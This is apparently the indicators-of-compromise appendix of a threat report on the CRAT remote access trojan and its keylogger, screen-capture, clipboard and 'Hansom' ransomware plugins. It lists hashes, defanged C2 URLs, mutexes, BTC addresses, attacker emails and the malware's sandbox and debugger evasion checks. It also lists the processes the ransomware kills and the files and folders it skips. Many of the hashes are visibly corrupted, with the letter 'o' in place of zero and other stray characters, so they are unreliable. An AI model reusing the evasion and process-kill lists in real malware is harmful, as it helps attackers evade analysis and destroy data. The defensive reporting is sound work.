5464728537836d4aa3d03e4d29ef21e59a324252c4b2a15ec21e9f528of7c280  
7a78dacbb7ff88b536d4a8db4e647df9efed8cea2d26cefoe21f7791e61bfbad  
1101d00223a62e77718da28053758208897d1dc627a06a01foe620a6ccad3812  
277931bf51f195fceb9befad6f4cc9e613d203ed90d3e4a05a16bc603809dec6  
4dccc9861da3b47bef43c72546044c1d136a5cb020aaa65a1ea494aec35e4910  
5e10cda5415e28b3efc9b909da6518d1cbcb56957e9850b99a4eee3893400012  
5fd89dbd129877d5141f9731a61af867b74fc7a33213233307b725ec97532a7b  
72d7b55e8208off84693e1ecd7a7128ef9c513b3b8cc5e411715a0ef4ee0557  
8fobfbde00e5e86223e586874df892e6fb2b97b133a909b7fdeacf7614df478f  
9461599bc85cf2ef11cb79a827fd365a086726b7c022fb2bfe5fb9f83e71cf9a  
fo51c2f99b2d94b0fc5ae7893eco467f4175cfa926cfc573a6b65a40c566f94d  
e93423a1c8add21c5676680a09oddc913d359c29ea9e44ffc91fb10396e3e858  
a24d66f4356de33ba9227d4e496cc975995f1bd72d72e47f74fo7648c45c5308

147f1de257ccbe54bofca9e61eof2061172459bef4eeb12014d27e48d99f27ab  
1c17b631988dob8b722adf9c973c6577c7983a9bocho69dd1d442do4f4dd73df  
2ef70a256dde1a9700527c995be417447dee1857759e8279aa7a287f85c9de96  
359bfd21ed9a5deedc19700355776ede266e5c8532584289db45ebe2fd8d8afe  
3c2e708989193b3497c2c97c3957d4abd2d5989c82832ce5c4a3b5a4c9ecd3f8  
a1c7709d147d8182892585bc965317816367ebabc273e8a99559ade24b19ed7f  
057cffe539a414ec4cef730e4fbf7861b61a7331bbd6d7feb55c76221a8cc6d3  
12a7cec5631141f61ef159fbb43103a3cdd79ddd3a027odf62d4c4fa4635b03e  
6d57df368c3e58be61bc36ee35123dcc5ce6d7a04cd6acfe7e10588038589ad4  
a7da1ec5745bb7ef5a4fd05d37d83b49b41ab7ofae518e6a00b7caa30c417576  
3c6b9fb9d680704a1a6c17ef5b3e10b043d15c137dco4688f5802cddbdf9ofe  
a52a8a9c99f58fb18ca3f969736f1deffd611c35851cff1bd5bd36ef27f2426d  
f070b78ca7269addb922f9ea9a31f76198edb2e1064d9b04ca8d8oecba175ca4  
683b4472aodf8af6c93ff10179e981a7908173bfb81bac2e12a3b9a022cfo8d7  
49aa98e2100752c09d01a7638ea9ead3dd2fc72d826c4b77d188990b3599b08c  
9f953f544afd265176ecb904cc8286cafc27270dfoccc56265259c1588083202  
a052ee9f75231a6oad1210411b7296ff5adf7e9e268bf2f123f0560eocb37b09  
46fd13169cf8e3dcefb552918a0914261fd22dc22bd9cba167042288432f2b2  
9a6d3do7e784247fac1292cof17a46247e8bdeb1f468c9b8b48c4459063c3ed5  
70d92da003ebo44d9c5aa057400256a51836466d2f20066deedf64e294466c20  
eb9382b77f7ed3429b0fcfb5d5d64c0702foc4d91c45bb8d3442ff1f851b8035  
cd20d7209db84b35cae88affe228f42258b497eee2b36foe3364779e58e5e2ce  
e4c1eaf014773cc25e2881fa2b2a67490a73c66683f5746276af7067777ed8b2  
396ffa925165deo8dob5bf6cc6974a02a18b44ce60c3d3e657ba6c6153760138  
9fc572e3a6c30221e5eecdd488efabbaf1babo4dff34860263495620fa4706c1  
0313641coed1defa6cb52e787f81eab3de8c0c546b4e157d803aab721fec3dc8  
7a3915a7d919fb266496616a06311c456c8e45b98cfd24c92ac4bfoaf75fa3ef  
02c4ba967900b49828985f7b67ebd21daa11b8bc9e4e0b6e5e9fef2de8fdc6d4  
3d47ca0810b2d296aaa2541ef621f5d834dfbbd89cb671a2a95b7f2bddbd3e4e  
bb1af121502e40a549135b72f34ad49d11cfbfa49b5cbcf549777549087fe751  
fb2ad747903f46do3b19b12c46a3e678e8aoc156092fb334aab47714a041265c

**Plugins: ClipboardMonitor**

---

562c4102d48414ab32c6742f270948a5d92e3b2af6d30do4ba1f7411302cbea8  
c4875cc728e7c4bc00646df57c8c38370fe11439e4c95e3804oba84fe27ebob9 win32

**Plugins: ScreenCapture**

---

1764ceca4425c6f577ecdb5c9435cf01807663508c3e1bbe1de2800d6c725a01  
6caa98870efd1097ee13ae9c21c6f6c9202a19ado49a9e65c6ofce5c889dc4c8 win32

**Plugins: KeyLogger**

---

c9ba7e700276eofd3e7060f81d4487f81do6bc3cba1e0a0eacd1ca21faca4400  
6d461bf3e3ca68b2d6d850322b79d5e3e647bod515cb10449935bf6d77d7d5f2 win32

## Plugins: Hansom Ransomware

---

cb141c743ac41784501e2e84ccd9969aade82b296dfo77daff3c0734bb26c837  
5384e1ab95d2cbac7e4cd5b781ad2520

## C2 URLs

---

www[]publishapp.co/update/check.php  
www[]sideforum.cc/forum/list.php  
www[]freeforum.co/forum/list.php  
www[]goodfriend.pro/projects/list.php  
www[]friendship.me/users/register.php  
www[]threegood.cc/api/manage/customers  
www[]Engpro.xyz/images/detail.php  
www[]infocop.me/products/list.php  
www[]teamspit.pro/adverts/follow.php  
www[]dodoi.cc/photos/preview.php  
www[]advertapp.me/user/invite.php  
www[]insideforum.me/forum/list.php  
www[]anyoneforum.cc/forum/list.php  
www[]goodproject.xyz/projects/list.php  
www[]hellofriend.pro/users/register.php  
www[]moonge.cc/wp-content/plugins/google-sitemap-generator/sitemap-builder-embed.php  
hxxps://calculactcal[]org/wp-content/themes/twentyseven/body.php  
hxxp://3cuartos[]com/wp-content/plugins/music-press-pro/templates/global/update.php  
hxxps://www[]worldfoodstory.co.uk/wp-includes/register.php  
hxxps://bokkeriejesj[]nl/wp-content/plugins/music-press-pro/upload.php  
hxxps://encontrosmaracatu[]com.br/wp-content/plugins/music-press-pro/templates/global/topmenu.php  
hxxps://www.theblackout[]fr/wp-content/plugins/music-press-pro/music-pro.php  
hxxps://mokawafm[]com/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/dialog.php  
hxxps://www.tiramisu[]it/wp-content/plugins/wp-comment-form.php  
hxxp://www.kartacnictvi[]cz/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/upload.php  
hxxp://www.dimer-group[]com/wp-content/plugins/ckeditor-for-wordpress/ckeditor/plugins/image/download.php  
hxxps://ecolerubanvert[]com/wp-content/plugins/image-intense/know.php  
hxxp://lwac[]com/wp-content/plugins/gallery-plugin/includes/demo-

data/images/music/photo.php  
hxxps://www[]copansrl[]it/wp-admin/user/invite.php  
hxxps://arar-musique[]fr/wp-content/plugins/music-press-pro/includes/admin/upgrade.php  
hxxps://www[]firstalliance[]church/wp-content/plugins/music-press/templates/404.php  
hxxps://erickeleo[]com[]br/wp-content/plugins/music-press-pro/go.php  
hxxp://www[]kingsvc.cc/index.php  
hxxp://www[]sofa.rs/wp-admin/network/server\_test.php  
hxxp://www[]afuocolento.it/wp-admin/network/server\_test.php  
hxxp://www[]mbrainingevents.com/wp-admin/network/server\_test.php  
hxxp://www[]afuocolento.it/wp-includes/process.php

## Mutex Names

---

- CRAT
- CRAT2<FileVersionNumber\_from\_rsrc> E.g. "CRAT21.0.0.7"
- CratScreenCaptureMutex
- CratClipboardMonitor2Mutex
- CratKeyLog2Mutex
- Mutex\_Hansom2008

## Anti-Infection Checks

---

The following is the blocklist of the various artifacts checked on the infected endpoint. If any of these are detected the malware stops execution.

## VM related process names

---

- Vmtoolsd.exe
- Vmwaretrat.exe
- Vmwareuser.exe
- Vmacthlp.exe
- vboxservice.exe
- vboxtray.exe

## Network adapter descriptions

---

- VMware Virtual Ethernet Adapter
- VirtualBox Host-Only Ethernet Adapter

## MACAddress prefixes

---

- 00:05:69
- 00:0C:29
- 00:1C:14
- 00:50:56

## Window names

---

- WinDbg
- x64\_dbg
- x64dbg
- OllyICE
- OllyDbg
- Immunity
- ida
- www.sysinternals.com
- Process Explorer
- Process Monitor
- Files Monitor
- Wireshark
- Fiddler
- Tcpdump
- TcpView
- Burp Suite

## Analysis tools process names

---

- WinDbg
- x64\_dbg
- x64dbg
- OllyICE
- OllyDbg
- Immunity
- ida
- ProcExp
- ProcMon
- FileMon
- Wireshark
- Fiddler
- Tcpdump

- TcpView
- BurpSuite

## Ransomware Plugin Details

---

### BTC addresses

---

bc1q3tdfzfnjngzdlup7x50x3tkfs2mx90a85en9z74 [0 BTC as of publication date]

bc1qpy4dn79xyac8ep6a2daupqmx6c4cxlywq4fe3 [0 BTC as of publication date]

### Attacker email addresses

---

keepcredito15[at]protonmail.com

honestman0023[at]protonmail.com

hansom2008[at]protonmail.com

hansompay2008[at]yandex.com

### Processes terminated

---

- msftesql.exe
- sqlbrowser.exe
- sqlagent.exe
- sqlwriter.exe
- sqlservr.exe
- ocssd.exe
- oracle.exe
- synctime.exe
- dbsnmp.exe
- agntsvc.exe
- mydesktopqos.exe
- xfssvccon.exe
- isqlplussvc.exe
- ocautoupds.exe
- mydesktopservice.exe
- agntsvc.exe
- agntsvc.exe
- encsvc.exe
- agntsvc.exe
- tbirdconfig.exe
- firefoxconfig.exe
- mysqld.exe
- ocomm.exe

- mysqld-opt.exe
- mysqld-nt.exe
- sqbcoreservice.exe
- dbeng50.exe
- infopath.exe
- excel.exe
- mspub.exe
- msaccess.exe
- outlook.exe
- onenote.exe
- steam.exe
- powerpnt.exe
- thebat.exe
- sqlservr.exe
- thunderbird.exe
- thebat64.exe
- winword.exe
- visio.exe
- Wordpad.exe

### File name exclusions

---

- desktop.ini
- ntuser.dat
- autorun.inf
- bootsect.bak
- iconcache.db
- ntuser.dat.log
- boot.ini
- thumbs.db
- HANSOM\_README.txt
- ShowNote.vbs

### Folder name exclusions

---

The following folders are excluded from the encryption process by the ransomware plugin.

- IETldCache
- ProgramData
- Program Files
- Boot
- Tor Browser
- Program Files (x86)
- All Users

- Hansom\_Sample
- Windows
- Local Settings
- INetCache
- \$Recycle.bin
- cache2
- LocalCache
- Sample9